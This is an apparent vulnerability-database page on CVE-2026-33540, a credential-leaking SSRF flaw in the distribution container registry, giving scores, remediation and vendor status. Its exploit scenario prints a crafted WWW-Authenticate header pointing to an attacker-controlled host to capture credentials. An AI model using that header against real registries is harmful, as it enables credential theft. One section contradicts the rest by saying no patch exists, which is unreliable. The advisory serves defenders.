Skip to main content

Distribution EUVDEUVD-2026-19289

| CVE-2026-33540 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-06 security-advisories@github.com GHSA-3p65-76g6-3w7r
7.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker controls upstream registry
  2. Exploit
    Returns malicious WWW-Authenticate challenge
  3. Execution
    Distribution sends credentials to attacker-controlled realm
  4. Impact
    Attacker captures upstream credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Distribution toolkit versions prior to 3.1.0 configured in pull-through cache mode. Attacker must control the upstream registry or have MitM position between distribution and upstream. No user interaction required. Remote unauthenticated exploitation.

Impact

This vulnerability presents elevated real-world risk despite moderate CVSS base score. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates remote exploitation with low complexity and no authentication barrier, making attacks straightforward to execute. The High confidentiality impact (C:H) reflects credential exposure risk-captured upstream registry credentials could grant attackers unauthorized access to private container repositories containing proprietary application code, secrets, or intellectual property. However, exploitation requires specific preconditions: the distribution instance must operate in pull-through cache mode with upstream authentication configured, and attackers need control over the upstream registry responses (either by operating a malicious registry or achieving MitM position via DNS poisoning, compromised network infrastructure, or BGP hijacking). The Scope:Unchanged (S:U) designation limits impact to the vulnerable component itself. Without EPSS data, we cannot quantify exploitation probability, but the attack surface is narrower than typical SSRF vulnerabilities due to deployment-specific requirements. Organizations using distribution as a simple registry (not pull-through cache) or without upstream authentication are not affected. The availability of vendor-released patch (3.1.0) significantly reduces residual risk for organizations with mature patch management, though unpatched instances in enterprise DMZs or cloud environments remain attractive targets for credential harvesting campaigns.

Exploit ScenarioDerived

An attacker operates a malicious container registry at evil.example.com and convinces an organization to configure it as an upstream source in their distribution pull-through cache, or alternatively compromises DNS resolution to redirect legitimate upstream registry traffic. When distribution attempts to pull an image, the malicious registry responds with HTTP 401 Unauthorized containing a crafted WWW-Authenticate header: 'Bearer realm="https://attacker.com/steal"'. Distribution parses this challenge, extracts the attacker-controlled realm URL, and sends an HTTP request to https://attacker.com/steal with the configured upstream credentials in the Authorization header via basic authentication. The attacker captures these credentials and uses them to directly access the legitimate upstream registry, gaining unauthorized access to the organization's private container images, application source code, and embedded secrets.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

Server-Side Request Forgery (SSRF) in distribution container toolkit versions before 3.1.0 enables credential theft via malicious upstream registry responses. When operating in pull-through cache mode, distribution parses WWW-Authenticate bearer challenges from upstream registries without validating the realm URL against the configured upstream host. Attackers controlling the upstream registry or positioned for man-in-the-middle attacks can specify arbitrary realm URLs, causing distribution to transmit configured upstream credentials via basic authentication to attacker-controlled endpoints (CVSS 7.5, High confidentiality impact). EPSS data and KEV status not available; no public exploit identified at time of analysis, though exploitation requires only network access with low complexity (AV:N/AC:L) and no authentication (PR:N).

RemediationAI

Upgrade distribution to version 3.1.0 or later, which implements proper validation of bearer challenge realm URLs to ensure they match the configured upstream registry domain before transmitting credentials. Organizations unable to immediately upgrade should disable pull-through cache functionality or remove upstream authentication credentials from distribution configuration, instead using unauthenticated public registries or implementing network-layer controls to prevent distribution from reaching attacker-controlled destinations. Deploy egress filtering to restrict distribution servers to communicate only with known-legitimate registry domains. Review authentication logs for the period prior to patching to identify potential unauthorized realm URL requests that may indicate exploitation attempts or successful credential theft. Rotate any upstream registry credentials that were configured in vulnerable distribution deployments. Consult the GitHub Security Advisory at https://github.com/distribution/distribution/security/advisories/GHSA-3p65-76g6-3w7r for additional vendor guidance and validation procedures.

Affected VersionsENISA

distribution < 3.1.0

Affected Packages

go github.com/distribution/distribution no fix
go github.com/distribution/distribution/v3 fix: 3.1.0
euvd distribution fix: 3.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The distribution project (formerly Docker Registry) is a reference implementation for storing and distributing container images via OCI/Docker registry protocols. In pull-through cache deployments, distribution acts as a transparent proxy that retrieves and caches images from upstream registries. The vulnerability stems from improper URL validation during OAuth 2.0 bearer token authentication flows (RFC 6750). When parsing WWW-Authenticate headers containing bearer challenges (e.g., 'Bearer realm="https://auth.example.com/token"'), distribution extracts the realm URL to obtain access tokens but fails to verify this URL belongs to the trusted upstream registry domain. This CWE-918 Server-Side Request Forgery flaw allows attacker-supplied realm URLs to be trusted, causing the application to initiate outbound HTTP requests with sensitive credentials to arbitrary destinations. The vulnerability specifically affects the authentication middleware that handles token discovery and credential passing in pull-through cache configurations where upstream authentication is required.

Know when Distribution gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
SUSE HIGH
Red Hat 3.1 MEDIUM

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch released
Apr 06, 2026 - 20:30 nvd
Patch available
CVE Published
Apr 06, 2026 - 15:17 nvd
HIGH 7.5

DescriptionGitHub Advisory

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, in pull-through cache mode, distribution discovers token auth endpoints by parsing WWW-Authenticate challenges returned by the configured upstream registry. The realm URL from a bearer challenge is used without validating that it matches the upstream registry host. As a result, an attacker-controlled upstream (or an attacker with MitM position to the upstream) can cause distribution to send the configured upstream credentials via basic auth to an attacker-controlled realm URL. This vulnerability is fixed in 3.1.0.

Executive ViewAI

Why It Matters

CVE-2026-33540 is a Server-Side Request Forgery vulnerability in distribution container toolkit versions before 3.1.0 that allows attackers to steal upstream registry credentials through malicious authentication challenges. Organizations using pull-through cache mode are at risk of credential compromise, potentially enabling unauthorized access to private container registries and downstream supply chain attacks.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable pull-through cache mode if not operationally required; (2) implement egress firewall rules restricting distribution instances to whitelisted upstream registry endpoints only; (3) use network-based man-in-the-middle detection; (4) rotate upstream registry credentials immediately and monitor for unauthorized access; (5) deploy distribution toolkit behind a forward proxy with strict URL validation on outbound requests.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Micro 5.5 Fixed
SUSE Linux Enterprise Module for Containers 15 SP7 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy